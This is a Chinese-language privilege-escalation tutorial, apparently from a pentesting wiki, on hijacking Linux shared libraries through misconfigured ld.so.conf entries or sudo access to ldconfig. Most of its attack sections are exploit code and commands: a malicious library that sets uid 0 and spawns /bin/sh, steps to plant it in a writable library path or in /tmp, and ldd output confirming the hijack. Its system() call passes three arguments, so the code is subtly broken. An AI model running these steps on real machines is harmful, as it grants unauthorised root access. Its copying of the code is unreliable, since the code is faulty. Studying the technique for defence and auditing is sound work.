准备环境
在以下部分，您可以找到我们将用于准备环境的文件代码
sharedvuln.c libcustom.h libcustom.c
Copy #include <stdio.h>
#include "libcustom.h"
int main (){
printf( "Welcome to my amazing application!\n" ) ;
vuln_func() ;
return 0 ;
}
Copy #include <stdio.h>
void vuln_func ();
Copy #include <stdio.h>
void vuln_func ()
{
puts( "Hi" ) ;
}
编译 库：gcc -shared -o libcustom.so -fPIC libcustom.c
复制 libcustom.so到/usr/lib：sudo cp libcustom.so /usr/lib（root权限）
编译 可执行文件：gcc sharedvuln.c -o sharedvuln -lcustom
检查环境
检查_libcustom.so_是否从_/usr/lib_被加载 ，并且您可以执行 该二进制文件。
Copy $ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi Exploit
在这个场景中，我们假设某人已经在 /etc/ld.so.conf/ 文件中创建了一个漏洞条目 ：
Copy sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf 易受攻击的文件夹是 /home/ubuntu/lib （我们有可写访问权限）。
下载并编译 以下代码到该路径：
Copy //gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func (){
setuid( 0 ) ;
setgid( 0 ) ;
printf( "I'm the bad library\n" ) ;
system( "/bin/sh" , NULL , NULL ) ;
} 现在我们已经在错误配置的 路径中创建了恶意的 libcustom 库，我们需要等待重启 或等待 root 用户执行 ldconfig 如果您可以作为 sudo 执行此二进制文件，或者它具有 suid 位 ，您将能够自己执行它 ）。
一旦发生这种情况，请重新检查 sharevuln 可执行文件从哪里加载 libcustom.so 库：
Copy $ldd sharedvuln
linux - vdso.so. 1 => ( 0x 00007ffeee766000 )
libcustom.so => / home / ubuntu / lib / libcustom. so ( 0x 00007f3f27c1a000 )
libc.so. 6 => / lib / x86_64 - linux - gnu / libc.so. 6 ( 0x 00007f3f27850000 )
/ lib64 / ld - linux - x86 - 64.so.2 ( 0x 00007f3f27e1c000 ) 如您所见，它是从 /home/ubuntu/lib 加载的 ，如果任何用户执行它，将会执行一个 shell：
Copy $ . / sharedvuln
Welcome to my amazing application !
I 'm the bad library
$ whoami
ubuntu
注意，在这个例子中我们没有提升权限，但通过修改执行的命令并等待root或其他特权用户执行易受攻击的二进制文件 ，我们将能够提升权限。
其他错误配置 - 相同漏洞
在前面的例子中，我们伪造了一个错误配置，其中管理员在 /etc/ld.so.conf.d/ 中的配置文件内设置了一个非特权文件夹 。
但是还有其他错误配置可能导致相同的漏洞，如果你在/etc/ld.so.conf.d中的某个配置文件 、/etc/ld.so.conf.d文件夹或/etc/ld.so.conf文件中具有写权限 ，你可以配置相同的漏洞并加以利用。
Exploit 2
假设你对 ldconfig 具有sudo权限 。
你可以指示ldconfig从哪里加载配置文件 ，因此我们可以利用它使ldconfig加载任意文件夹。
所以，让我们创建加载"/tmp"所需的文件和文件夹：
Copy cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf 现在，如前面的漏洞 所示，在 /tmp 中创建恶意库 。
最后，让我们加载路径并检查二进制文件从哪里加载库：
Copy ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 = > (0x00007fffa2dde000)
libcustom.so = > /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 = > /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) 正如您所看到的，拥有 ldconfig 的 sudo 权限，您可以利用相同的漏洞。
